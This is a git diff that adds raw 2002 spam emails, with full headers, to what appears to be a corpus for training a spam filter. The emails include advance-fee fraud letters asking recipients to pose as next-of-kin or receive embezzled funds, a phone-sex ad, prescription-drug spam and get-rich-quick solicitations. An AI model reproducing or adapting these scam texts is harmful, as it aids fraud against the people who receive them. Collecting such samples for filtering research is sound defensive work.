text/html; charset=US-ASCII + + + +FREIGHTMART Mail Campaign + + +

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If you do not wish to receive +these emails and want to unsubscribe yourself from the +terms of this verification, please reply to this email +with the word "remove" in the subject line, and you will +be removed from our mailing list. diff --git a/bayes/spamham/spam_2/00355.ada725cd0b7f67b279b6d616045d7e84 b/bayes/spamham/spam_2/00355.ada725cd0b7f67b279b6d616045d7e84 new file mode 100644 index 0000000..0f0c5c8 --- /dev/null +++ b/bayes/spamham/spam_2/00355.ada725cd0b7f67b279b6d616045d7e84 @@ -0,0 +1,109 @@ +From sylow@doglover.com Mon Jun 24 17:04:41 2002 +Return-Path: sylow@doglover.com +Delivery-Date: Sat May 18 07:04:46 2002 +Received: from mta1-3.us4.outblaze.com (205-158-62-44.outblaze.com + [205.158.62.44]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g4I64ie08827 for ; Sat, 18 May 2002 07:04:44 +0100 +Received: from ws1-10.us4.outblaze.com (205-158-62-111.outblaze.com + [205.158.62.111]) by mta1-3.us4.outblaze.com (8.12.3/8.12.3/us4-srs) with + SMTP id g4I64cof008046 for ; Sat, 18 May 2002 06:04:38 + GMT +Received: (qmail 84726 invoked by uid 1001); 18 May 2002 06:04:38 -0000 +Message-Id: <20020518060438.84725.qmail@mail.com> +Content-Type: text/plain; charset="iso-8859-1" +Content-Disposition: inline +MIME-Version: 1.0 +X-Mailer: MIME-tools 5.41 (Entity 5.404) +Received: from [66.17.40.126] by ws1-10.us4.outblaze.com with http for + sylow@doglover.com; Sat, 18 May 2002 01:04:38 -0500 +From: "Wild Cats" +To: rescomp@pobox.upenn.edu, rescore@spamassassin.taint.org, rescpfn6@cpf.navy.mil, + res@crvax.sri.com, rescue@blackdog.cc, rescue@staar.org, + research@aapa-ports.org, research@adls.org.nz, research@aods.com, + research@bworld.com +Date: Sat, 18 May 2002 01:04:38 -0500 +Subject: Call me 05152 +X-Originating-Ip: 66.17.40.126 +X-Originating-Server: ws1-10.us4.outblaze.com +X-Keywords: +Content-Transfer-Encoding: 7bit + + +Hello I am your hot lil horny toy. + I am the one you dream About, + I am a very open minded person, + Love to talk about and any subject. + + + Fantasy is my way of life, + Ultimate in sex play. + + Ummmmmmmmmmmmmm + I am Wet and ready for you. + + It is not your looks but your imagination that matters most, + With My sexy voice I can make your dream come true... + + Hurry Up! call me let me Cummmmm for you.......................... + + +TOLL-FREE: 1-877-451-TEEN (1-877-451-8336) + +For phone billing: 1-900-993-2582 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +-- +_______________________________________________ +Sign-up for your own FREE Personalized E-mail at Mail.com +http://www.mail.com/?sr=signup + diff --git a/bayes/spamham/spam_2/00356.6420c49ea8ad1c5e4120606f97b60e1e b/bayes/spamham/spam_2/00356.6420c49ea8ad1c5e4120606f97b60e1e new file mode 100644 index 0000000..c9d838a --- /dev/null +++ b/bayes/spamham/spam_2/00356.6420c49ea8ad1c5e4120606f97b60e1e @@ -0,0 +1,75 @@ +From jeffm_320032564@msn.com Mon Jun 24 17:04:42 2002 +Return-Path: jeffm_320032564@msn.com +Delivery-Date: Sat May 18 07:07:56 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4I67ue08965 for + ; Sat, 18 May 2002 07:07:56 +0100 +Received: from mta08.mail.mel.aone.net.au (mta08.mail.au.uu.net + [203.2.192.89]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g4I67rD05942 for ; Sat, 18 May 2002 07:07:54 +0100 +Received: from plsn02.PLSGROUP ([63.34.239.18]) by + mta08.mail.mel.aone.net.au with ESMTP id + <20020518045714.QNDY5787.mta08.mail.mel.aone.net.au@plsn02.PLSGROUP>; + Sat, 18 May 2002 14:57:14 +1000 +Received: from smtp-gw-4.msn.com + (0-1pool124-137.nas7.houston1.tx.us.da.qwest.net [63.157.124.137]) by + plsn02.PLSGROUP with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.2232.9) id LCP0GYZ2; Sat, 18 May 2002 14:25:04 +0930 +Message-Id: <0000255c44f4$000021bb$00002ae0@smtp-gw-4.msn.com> +To: +From: jeffm_320032564@msn.com +Subject: Grow Biologically Younger NOW ...5918899 +Date: Fri, 17 May 2002 11:57:27 -1900 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +X-Keywords: +Content-Transfer-Encoding: 7bit + +Medial News -- Anti-Aging Breakthrough. +Thousands Grow Biologically Younger. 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THE FROM ADDRESS DOES NOT GO TO OUR REMOVE DATABASE. + +Simply click here send an e-mail to: mailto:opt-out@soon.com?subject=remove + diff --git a/bayes/spamham/spam_2/00357.049b1dd678979ce56f10dfa9632127a3 b/bayes/spamham/spam_2/00357.049b1dd678979ce56f10dfa9632127a3 new file mode 100644 index 0000000..260b131 --- /dev/null +++ b/bayes/spamham/spam_2/00357.049b1dd678979ce56f10dfa9632127a3 @@ -0,0 +1,81 @@ +From othema2002@hotmail.com Mon Jun 24 17:04:45 2002 +Return-Path: othema2002@hotmail.com +Delivery-Date: Sat May 18 15:20:33 2002 +Received: from iis.au-laplata.com.ar (ns1.au-laplata.com.ar + [63.82.41.211]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g4IEKWe23360 for ; Sat, 18 May 2002 15:20:32 +0100 +Received: from 63.82.41.211 (localhost [127.0.0.1]) by + iis.au-laplata.com.ar (8.11.2/8.11.2) with SMTP id g4IEAfK10137; + Sat, 18 May 2002 11:10:43 -0300 +Date: Sat, 18 May 02 03:06:12 EST +From: othema2002@hotmail.com +To: Friend@public.com +Subject: bank inheritance +Message-Id: <> +X-Keywords: + + +Thema Ordi +Tel:27 83 6919246 +othema2002@37.com +JOHANNESBURG, SOUTH +AFRICA. + +ATTN: PRESIDENT/C.E.O. + +DEAR SIR, + +I AM MR. +Thema Ordi, MANAGER OF BILLS/EXCHANGE AT THE FOREIGN REMITTANCE +DEPARTMENT OF ABSA BANK LIMITED. IN MY DEPARTMENT, WE DISCOVERED AN +ABANDONED SUM OF US$12.5,000,000 (Twelve POINT FIVE MILLION US +DOLLARS ONLY) IN AN ACCOUNT THAT BELONGED TO ONE OF OUR FOREIGN CUSTOMERS WHO +DIED ALONG WITH HIS ENTIRE FAMILY ON NOVEMBER 1994 IN A GHASTLY PLANE +CRASH. SINCE WE GOT INFORMATION ABOUT HIS DEATH, WE HAVE BEEN EXPECTING +HIS NEXT-OF-KIN TO COME OVER AND CLAIM HIS MONEY BECAUSE WE CANNOT +RELEASE IT UNLESS SOMEBODY APPLIED FOR IT AS NEXT-OF-KIN, OR RELATION TO +THE DECEASED AS INDICATED IN OUR BANKING GUIDELINES. UNFORTUNATELY, +NOBODY HAS COME FOWARD TO CLAIM THIS MONEY. + +IT IS BASED ON THIS THAT SOME OFFICIALS IN MY DEPARTEMENT AND I HAVE +DECIDED TO ESTABLISH A CORDIAL BUSINESS RELATIONSHIP WITH YOU, HENCE +MY CONTACTING YOU. WE WANT YOU TO PRESENT YOURSELF AS THE NEXT-OF-KIN +OR RELATION OF THE DECEASED SO THAT THE FUND CAN BE REMITTED INTO YOUR +ACCOUNT. + +MOREOVER, WE DO NOT WANT THE MONEY TO GO INTO THE GOVERNMENT ACCOUNT +AS UNCLAIMED BILL. THE BANKING LAW AND GUIDELINES HERE STIPULATE THAT +ANY ACCOUNT ABANDONED OR IS DORMANT FOR A PERIOD OF YEARS IS DEEMED +CLOSED AND ALL MONEY CONTAINED THEREIN FORFEITED TO THE GOVERNMENT +TREASURY ACCOUNT. + +NOW IT IS BEING SPECULATED THAT THE ABOVE SUM WILL BE TRANSFERED INTO +THE GOVERNMENT ACCOUNT AS AN UNCLAIMED FUND ON OR BEFORE DECEMBER +2002. THE REASON FOR REQUESTING YOU TO PRESENT YOURSELF AS NEXT-OF-KIN +IS OCCASIONED BY THE FACT THAT THE DECEASED (CUSTOMER) WAS A +FOREIGNER. + +THE MODE OF SHARING AFTER A SUCCESSFUL TRANSFER OF THE MONEY INTO YOUR +ACCOUNT: 60% TO MY COLLEAGUES AND I; FOR THE ROLE YOU WILL BE EXPECTED +TO PLAY IN THIS DEAL, WE HAVE AGREED TO GIVE YOU THIRTY PERCENT (30%) +OF THE TOTAL SUM, AND 10% FOR THE EXPENSES WE ARE GOING TO ENCOUNTER BY +THE TWO PARTIES AT THE COURSE OF THIS TRANSACTION.THEREFORE YOU ARE +EXPECTED TO REPLY THIS LETTER INDICATING YOUR READINESS AND INTEREST TO +PARTICIPATTE IN THIS BUSINESS. + +AFTER RECEIVING YOUR REPLY, YOU WILL BE COMMUNICATED TO WITH THE EXACT +STEPS TO TAKE. + +I EXPECT YOUR URGENT RESPONSE EITHER BY EMAIL TO :othema2002@37.com + TO ENABLE US CONCLUDE THIS TRANSACTION ON YOUR REPLY I SHALL CALL YOU AND GIVE +YOU MY PHONE NUMBER FOR SECURITY REASONS. +URGENTLY. + +PLEASE TREAT THIS BUSINESS PROPOSAL AS STRICTLY CONFIDENTIAL FOR +SECURITY REASONS. + +KIND PERSONAL REGARDS, + +Thema Ordi +Tel:27 83 6919246 + diff --git a/bayes/spamham/spam_2/00358.ccfcaa5984dc5db979ba41e0fcee87c3 b/bayes/spamham/spam_2/00358.ccfcaa5984dc5db979ba41e0fcee87c3 new file mode 100644 index 0000000..dcdbdc7 --- /dev/null +++ b/bayes/spamham/spam_2/00358.ccfcaa5984dc5db979ba41e0fcee87c3 @@ -0,0 +1,51 @@ +From greathosting@techie.com Mon Jun 24 17:04:44 2002 +Return-Path: greathosting@techie.com +Delivery-Date: Sat May 18 13:42:25 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4ICgOe20040 for + ; Sat, 18 May 2002 13:42:24 +0100 +Received: from 61.11.238.194 (IDENT:squid@[61.11.238.194]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g4ICg9D06991 for + ; Sat, 18 May 2002 13:42:13 +0100 +Message-Id: <200205181242.g4ICg9D06991@mandark.labs.netnoteinc.com> +Received: from 34.57.158.148 ([34.57.158.148]) by rly-xr02.mx.aol.com with + local; May, 18 2002 7:41:01 AM +0300 +Received: from unknown (74.38.244.167) by asy100.as122.sol.superonline.com + with NNFMP; May, 18 2002 6:25:00 AM -0200 +Received: from [6.135.221.168] by rly-xl05.mx.aol.com with asmtp; + May, 18 2002 5:15:58 AM +0400 +From: GREATHOST +To: Undisclosed.Recipients@mandark.labs.netnoteinc.com +Cc: +Subject: Top Quality Web Hosting - CHEAP! +Sender: GREATHOST +MIME-Version: 1.0 +Date: Sat, 18 May 2002 07:42:19 -0500 +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + +$7.95 Power Hosting + + + +
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    diff --git a/bayes/spamham/spam_2/00359.90bec90ebeaf05f024f48594e7d7b0d5 b/bayes/spamham/spam_2/00359.90bec90ebeaf05f024f48594e7d7b0d5 new file mode 100644 index 0000000..401b1aa --- /dev/null +++ b/bayes/spamham/spam_2/00359.90bec90ebeaf05f024f48594e7d7b0d5 @@ -0,0 +1,160 @@ +From mrjoemark@yahoo.com Mon Jun 24 17:04:45 2002 +Return-Path: mrjoemark@yahoo.com +Delivery-Date: Sat May 18 14:06:08 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4ID67e20723 for + ; Sat, 18 May 2002 14:06:07 +0100 +Received: from web21506.mail.yahoo.com (web21506.mail.yahoo.com + [66.163.169.17]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP + id g4ID65D07051 for ; Sat, 18 May 2002 14:06:06 +0100 +Message-Id: <20020518130602.46682.qmail@web21506.mail.yahoo.com> +Received: from [64.86.155.135] by web21506.mail.yahoo.com via HTTP; + Sat, 18 May 2002 06:06:02 PDT +Date: Sat, 18 May 2002 06:06:02 -0700 (PDT) +From: Joe Mark +Subject: REQUEST +To: mrjoemark@yahoo.com +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Keywords: + +FROM:MR JOE MARK +EMAIL FAX: 1 561 619 2791 +EMAIL:mrjoemark@yahoo.com + +DEAR SIR + +REQUEST FOR URGENT BUSINESS RELATIONSHIP – STRICTLY +CONFIDENTIAL. + +Firstly, I must solicit your strictest confidentiality +in this transaction. This is by virtue of its nature +as being utterly CONFIDENTIAL and “TOP SECRET.” Though +I know that a transaction of this magnitude will make +anyone apprehensive and worried, but I am assuring you +that all will be well at the end of the day. + +We have decided to contact you first by your email due +to the urgency of this transaction, as we have been +reliably informed that it will take at least two to +three weeks for a normal post to reach you. So we +decided it is best using the email. Let me start by +first introducing myself properly to you. I am Dr. +Kaku Opa, a director general in the Ministry +of Mines and Power and I head a Three-man tender board +appointed by the Government of the Federal Republic of +Nigeria to award contracts to individuals and +companies and to approve such contract payments in the +Ministry of Mines and Power. The duties of the +committee also include evaluation, vetting and +monitoring of work done by foreign and local +contractors in the ministry. + +I came to know of you in my search for a reliable and +reputable person to handle a very confidential +business transaction which involves the transfer of a +huge sum of money to a foreign account requiring +maximum confidence. In order to commence this +business, we solicit for your assistance to enable us +transfer into your account the said funds. + +The source of this funds is as follows: Between 1996 +and 1997, this committee awarded contracts to various +contractors for engineering, procurement, supply of +electrical equipments such as Transformers, and some +rural electrification projects. + +However, these contracts were over-invoiced by the +committee, thereby, leaving the sum of US$11.5million +dollars (Eleven Million Five Hundred thousand United +States Dollars) in excess. This was done with the +intention that the committee will share the excess +when the payments are approved. + +The Federal Government have since approved the total +contract sum which has been paid out to the companies +and contractors concerned which executed the +contracts, leaving the balance of $11.5m dollars, +which we need your assistance to transfer into a safe +off-shore and reliable account to be disbursed amongst +ourselves. + +We need your assistance as the funds are presently +secured in an escrow account of the Federal Government +specifically set aside for the settlement of +outstanding payments to foreign contractors. We are +handicapped +in the circumstances as the civil service code of +conduct, does not allow us to operate off-shore +accounts, hence your importance in the whole +transaction. + +My colleagues and I have agreed that if you or your +company can act as the beneficiary of this funds on +our behalf, you or your company will retain 20% of the +total amount of US$11,500,000.00 (Eleven Million Five +Hundred Thousand United States Dollars), while 70% +will be for us (members of this panel) and the +remaining 10% will be used in offsetting all +debts/expenses incurred (both local and foreign) in +the cause of this transfer. Needless to say, the trust +reposed on you at this juncture is enormous. In return +we demand your complete honesty and trust. + +It does not matter whether or not your company does +contract projects of this nature described here, the +assumption is that your company won the major contract +and sub-contracted it out to other companies. More +often than not, big trading companies or firms of +unrelated fields win major contracts and subcontract +to more specialized firms for execution of such +contracts. We are civil servants and we will not want +to miss this once in a life time opportunity. + +You must however, NOTE that this transaction will be +strictly based on the following terms and conditions +as we have stated below, as we have heard confirmed +cases of business associates running away with funds +kept in their custody when it finally arrive their +accounts. We have decided that this transaction will +be based completely on the following: + +(a). Our conviction of your transparent honesty and +diligence. + +(b). That you would treat this transaction with utmost +secrecy and confidentiality. + +(c). That upon receipt of the funds, you will promptly +release our share (70%) on demand after you have +removed your 20% and all expenses have been settled. + +(d). You must be ready to produce us with enough +information about yourself to put our minds at rest. + +Please, note that this transaction is 100% legal and +risk free and we hope to conclude the business in Ten +Bank working days from the date of receipt of the +necessary information and requirement from you. + +Endeavour to acknowledge the receipt of this letter +using my email fax number 1 561 619 2791 or my email +address mrjoemark@yahoo.com. I will bring you into +the +complete picture of the transaction when I have heard +from you. + +Your urgent response will be highly appreciated as we +are already behind schedule for this financial +quarter. + +Thank you and God bless. + +Yours faithfully, + +Mr Joe Mark + +__________________________________________________ +Do You Yahoo!? +LAUNCH - Your Yahoo! Music Experience +http://launch.yahoo.com diff --git a/bayes/spamham/spam_2/00360.814557087d32334a92357de3b50ee814 b/bayes/spamham/spam_2/00360.814557087d32334a92357de3b50ee814 new file mode 100644 index 0000000..a35ea7c --- /dev/null +++ b/bayes/spamham/spam_2/00360.814557087d32334a92357de3b50ee814 @@ -0,0 +1,50 @@ +From mynetdetectives@offer888.net Mon Jun 24 17:04:47 2002 +Return-Path: mynetdetectives-3444431.13@offer888.net +Delivery-Date: Sat May 18 17:41:18 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4IGfHe28252 for + ; Sat, 18 May 2002 17:41:18 +0100 +Received: from offer888.com ([216.177.63.130]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g4IGfGD07738 for + ; Sat, 18 May 2002 17:41:16 +0100 +Message-Id: <200205181641.g4IGfGD07738@mandark.labs.netnoteinc.com> +Date: 18 May 2002 13:41:07 -0000 +X-Sender: offer888.net +X-Mailid: 3444431.13 +Complain-To: abuse@offer888.com +To: yyyy@netnoteinc.com +From: Online Investigation +Subject: Jm, be your own private eye +X-Keywords: +Content-Type: text/html; + + + + + + + + +
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In other words, you deep down want to tell the snobs of the +world, that they really are managing their debt, but you have what you want when you want +and you have it all with no debt and you have all of this through money generated while you +sleep or while you are on vacation. + +Seriously, if you want more money than you can spend and you really, truly DO NOT WANT TO +WORK, then you are the type of person we are looking for. + +If you would like to know why some people can do this...then simply send a blank email with +the words: "I HATE TO WORK" in the subject area to: +ihatetowork99@yahoo.com + +After doing so, you will be contacted in less than 24 hours and learn how to get the house +you want, the education for your children that you would like them to have, go on the +vacation you want, when you want all through money generated while you sleep or while you +are playing golf or while you are on vacation. + +Also, we do not want you to hear from us again if the idea of making all the money you want +is not exciting to you...therfore this is the first and last email you will get unless we +hear from you...so if you want TO GET RICH with out working, then simply send a blank email +with the words: "I HATE TO WORK" in the subject area to: +ihatetowork99@yahoo.com + + +Thank you, + +"The I hate to work" associates + +Subject: I don't work...but I have a ton of money! + +iqccjypkiducrbiixmqcuncw diff --git a/bayes/spamham/spam_2/00372.859cab3c4ee323a06adcd41f8c604fa7 b/bayes/spamham/spam_2/00372.859cab3c4ee323a06adcd41f8c604fa7 new file mode 100644 index 0000000..63cc3d6 --- /dev/null +++ b/bayes/spamham/spam_2/00372.859cab3c4ee323a06adcd41f8c604fa7 @@ -0,0 +1,55 @@ +From ookrmkdg@yahoo.com Mon Jun 24 17:05:01 2002 +Return-Path: wwwadmin@damaged.passport.ca +Delivery-Date: Sun May 19 17:53:52 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4JGrqe21143 for + ; Sun, 19 May 2002 17:53:52 +0100 +Received: from damaged.passport.ca (damaged.passport.ca [207.112.9.1]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4JGroD15780 for + ; Sun, 19 May 2002 17:53:51 +0100 +Received: (from wwwadmin@localhost) by damaged.passport.ca (8.9.3/8.9.3) + id MAA05545; Sun, 19 May 2002 12:53:32 -0400 (EDT) +Date: Sun, 19 May 2002 12:53:32 -0400 (EDT) +Message-Id: <200205191653.MAA05545@damaged.passport.ca> +To: desfelwy@yahoo.com +From: ookrmkdg@yahoo.com (Pharmacy Online) +Subject: Men-Get Hard - Stay Hard!! 8454 +X-Keywords: + +Below is the result of your feedback form. It was submitted by Pharmacy Online (ookrmkdg@yahoo.com) on Sunday, May 19, 19102 at 12:53:32 +--------------------------------------------------------------------------- + +body: +**Viagra Without A Doctor's Appointment!! + +**Fill Out Our Simple Online Form +**Our Doctor's Will Approve You In Minutes! + +**Receive Your Prescription In 24 Hours By Fed Ex!! + +**Other Prescriptions Are Available Also! + +Click below: +http://www.globalrxco.com/main2.php?rx=16864 + +******************************************************************************************** + +To be removed from future mailing, please click below +http://61.129.81.68/remove/remove.htm + +**************************************************************** +Anti-SPAM Policy Disclaimer: Under Bill s.1618 Title III +passed by the 105th U. S. Congress, mail cannot be +considered spam as long as we include contact +information and a remove link for removal from this +mailing list. If this e-mail is unsolicited, please accept +our apologies. Per the proposed H.R. 3113 Unsolicited +Commercial Electronic Mail Act of 2000, further +transmissions to you by the sender may be stopped at +NO COST to you +**************************************************************** + + + 0163 + +--------------------------------------------------------------------------- diff --git a/bayes/spamham/spam_2/00373.a2e4ba80486fdff8084086d447e01d17 b/bayes/spamham/spam_2/00373.a2e4ba80486fdff8084086d447e01d17 new file mode 100644 index 0000000..608bd72 --- /dev/null +++ b/bayes/spamham/spam_2/00373.a2e4ba80486fdff8084086d447e01d17 @@ -0,0 +1,280 @@ +From ja@insurancemail.net Mon Jun 24 17:05:02 2002 +Return-Path: ja@insurancemail.net +Delivery-Date: Sun May 19 18:12:08 2002 +Received: from insurance-mail.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g4JHC3e21730 for ; Sun, 19 May 2002 18:12:08 + +0100 +Received: from mail pickup service by insurance-mail.insuranceiq.com with + Microsoft SMTPSVC; Sun, 19 May 2002 13:11:26 -0400 +Subject: An Untapped Market = An Easy Sale +To: +Date: Sun, 19 May 2002 13:11:26 -0400 +From: "John Alden Life" +Message-Id: <1725df01c1ff58$356bd9b0$6701a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcH/QjQT1Pm8FlGHSXuRBJOmb3qDQg== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 19 May 2002 17:11:26.0355 (UTC) FILETIME=[358A5E30:01C1FF58] +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_000_152120_01C1FF20.AD02E910" + +This is a multi-part message in MIME format. + +------=_NextPart_000_152120_01C1FF20.AD02E910 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + + + North Star Marketing's commitment +As the exclusive marketers of John Alden products, North Star Marketing +(NSM) is committed to helping you be successful. Every time you call +your local NSM office, you'll speak with an experienced health insurance +professional. Thousands of agents already rely on NSM for assistance +with prospecting, quoting, issuing policies, marketing ideas and +follow-up support. And, since John Alden is also a leader in the +individual medical insurance market, North Star can further help you +meet your clients' needs. + + Let's talk today! + LinkLink to the North Star Marketing directory + to contact +an office near you. + or + Complete all the information below and an NSM Rep in your state will +contact you directly. +Name: +Company +E-mail: +Phone: +City: State: + + + Insurance products are underwritten and issued by John Alden +Life Insurance Company, and administered by Fortis Insurance Company, +both Fortis Health member companies, Milwaukee, WI. Short Term Medical +is presented by North Star Marketing, www.nstarmarketing.com + + +We don't want anybody to receive our mailing who does not wish to +receive them. This is a professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.insurancemail.net +Legal Notice + + +------=_NextPart_000_152120_01C1FF20.AD02E910 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + +An Untapped Market =3D An Easy Sale + + + + + =20 + + + =20 + + + + + =20 + + +
    =20 + + =20 + + + =20 + + +
    3D"North
    As the exclusive marketers of John Alden = +products, North=20 + Star Marketing (NSM) is committed to helping you be = +successful.=20 + Every time you call your local NSM office, you'll speak = +with an=20 + experienced health insurance professional. Thousands of = +agents already=20 + rely on NSM for assistance with prospecting, quoting, = +issuing policies,=20 + marketing ideas and follow-up support. And, since John = +Alden is=20 + also a leader in the individual medical insurance market, = +North=20 + Star can further help you meet your clients' = +needs.
    + +
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    Name:=20 + +
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    Insurance=20 + products are underwritten and issued by John Alden Life = +Insurance Company,=20 + and administered by Fortis Insurance Company, both Fortis Health = +member=20 + companies, Milwaukee, WI. Short Term Medical is presented by = +North Star=20 + Marketing, www.nstarmarketing.com

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    =20 +

    We=20 + don't want anybody to receive our mailing who does not wish to = +receive=20 + them. This is a professional communication sent to insurance = +professionals.=20 + To be removed from this mailing list, DO NOT REPLY to this = +message.=20 + Instead, go here: http://www.insurancemail.net + Legal = +Notice=20 +

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+Received: from smtp0402.mail.yahoo.com (unverified [12.8.132.8]) by + amtel2.amtel.soft.net (EMWAC SMTPRS 0.83) with SMTP id + ; Sun, 19 May 2002 01:46:21 +0530 +Message-Id: +Date: Sun, 19 May 2002 15:10:47 -0700 +From: "Laura Samson" +X-Priority: 3 +To: yyyy@netnoteinc.com +Subject: A Money Making Home Business for You... +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset=us-ascii +Content-Transfer-Encoding: 7bit + +A Money Making Home Business for You! + +
    + + + + + + +
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    © Copyright 2002, All Rights Reserved. +


    __________________________________________________________
    + +Your e-mail address has been verified as one that has requested information on these offers.
    +All e-mail addresses have been double verified. If this message has come to you in error,
    +please click REMOVE ME and your name will be removed from all future mailings.
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    diff --git a/bayes/spamham/spam_2/00378.958f8c0f9d486c1e18f835ab65664b4d b/bayes/spamham/spam_2/00378.958f8c0f9d486c1e18f835ab65664b4d new file mode 100644 index 0000000..e9fe0dc --- /dev/null +++ b/bayes/spamham/spam_2/00378.958f8c0f9d486c1e18f835ab65664b4d @@ -0,0 +1,143 @@ +From ReservationDesk@permissionpass.com Mon Jun 24 17:05:08 2002 +Return-Path: tppn@ftu-10.permissionpass.com +Delivery-Date: Mon May 20 01:03:48 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4K03le04151 for + ; Mon, 20 May 2002 01:03:47 +0100 +Received: from ftu-10.permissionpass.com (ftu-10.permissionpass.com + [64.251.16.156]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g4K03jD17230 for ; Mon, 20 May 2002 01:03:46 +0100 +Received: (from tppn@localhost) by ftu-10.permissionpass.com + (8.11.6/8.11.6) id g4K00n720662 for jm@netnoteinc.com; Sun, 19 May 2002 + 20:00:49 -0400 +Date: Sun, 19 May 2002 20:00:49 -0400 +Message-Id: <200205200000.g4K00n720662@ftu-10.permissionpass.com> +From: Reservation Desk +To: yyyy@netnoteinc.com +Subject: Congrats! Here are your 2 Free Airline Tickets +X-Keywords: +Content-Type: multipart/alternative; boundary="##########" + +--########## + +See below for your Exit Information. +============================================================================================================ + +2 FREE Round-Trip Air Tickets! USA, Caribbean, Hawaii, Mexico! +1,000 Complimentary Long Distance Calling Minutes + +To get this incredible TALK & TRAVEL offer NOW, click on the +link below or paste it into your browser: +http://results.reliatrack.com/select.php?pos=9900027056&active=1783816 + +Imagine jetting off to exciting destinations in California, +Florida, the Caribbean, Hawaii or Mexico, ABSOLUTELY FREE! +Then, imagine spending 1,000 minutes on the phone with friends +and family, ABSOLUTELY FREE! To top it all off, imagine +enjoying low, low long distance rates - anytime, anywhere! + +ACT NOW! This is a LIMITED TIME OFFER, click on the link below +or paste it into your browser: +http://results.reliatrack.com/select.php?pos=9900027056&active=1783816 + +This is a totally risk-free, 100% satisfaction-guaranteed offer. +You get FREE TRAVEL, COMPLIMENTARY LONG DISTANCE MINUTES, plus +the LONG DISTANCE RATES. Your 2 FREE ROUND-TRIP AIR TICKETS are +yours to keep and good for one full year! + +2 FREE ROUND-TRIP AIR TICKETS 1,000 COMPLIMENTARY CALLING +MINUTES LOW, LOW LONG DISTANCE RATES + +Click on the link below or paste it into your browser: +http://results.reliatrack.com/select.php?pos=9900027056&active=1783816 + +============================================================================================================ + +Your email address has been submitted to The PermissionPass Network for mailing by one of our merchant clients, or included as part of an assets purchase. You may permanently remove yourself at http://www.permissionpass.com/optout.php?email=jm@netnoteinc.com &pos=9900027056. Thank you.. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +- Reservation Desk + +--########## +Content-Type: text/html +Content-Transfer-Encoding: 7bit +Content-Disposition: inline + + + + + + +
    See below for your Exit Information.
    + + + +2 FREE Airline Tickets! + + + + + + + + + + + + + + + +
    +
    +
    +

    + + + + + + +
    +Your email address has been submitted to The PermissionPass Network for mailing by one of our merchant clients, or included as part of an assets purchase. You may permanently remove yourself by clicking HERE. Thank you. +
    + +--##########-- diff --git a/bayes/spamham/spam_2/00379.b2ab58d60315cdc423cd8640466092ed b/bayes/spamham/spam_2/00379.b2ab58d60315cdc423cd8640466092ed new file mode 100644 index 0000000..4ce2cbb --- /dev/null +++ b/bayes/spamham/spam_2/00379.b2ab58d60315cdc423cd8640466092ed @@ -0,0 +1,325 @@ +From greenman@swbell.net Mon Jun 24 17:05:13 2002 +Return-Path: greenman@swbell.net +Delivery-Date: Mon May 20 11:37:49 2002 +Received: from swbell.net ([211.250.18.161]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g4KAbge02138 for ; + Mon, 20 May 2002 11:37:43 +0100 +Received: from unknown (24.143.48.41) by f64.law4.hottestmale.com with + SMTP; Mon, 20 May 2002 05:37:27 -0400 +Received: from unknown (27.26.235.188) by mail.gimmixx.net with QMQP; + Mon, 20 May 2002 01:23:02 +0900 +Reply-To: +Message-Id: <038e66d80b4d$6442c1c3$3ab15bb3@cbxyrw> +From: +To: +Subject: Oh No! My Printer Died! +Date: Mon, 20 May 2002 05:24:29 +0500 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +Importance: Normal +X-Keywords: +Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C8_20D83C2D.E4417B07" + +------=_NextPart_000_00C8_20D83C2D.E4417B07 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: base64 + + +PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEg +VHJhbnNpdGlvbmFsLy9FTiI+DQo8aHRtbD4NCjxoZWFkPg0KICAgICAgICAg 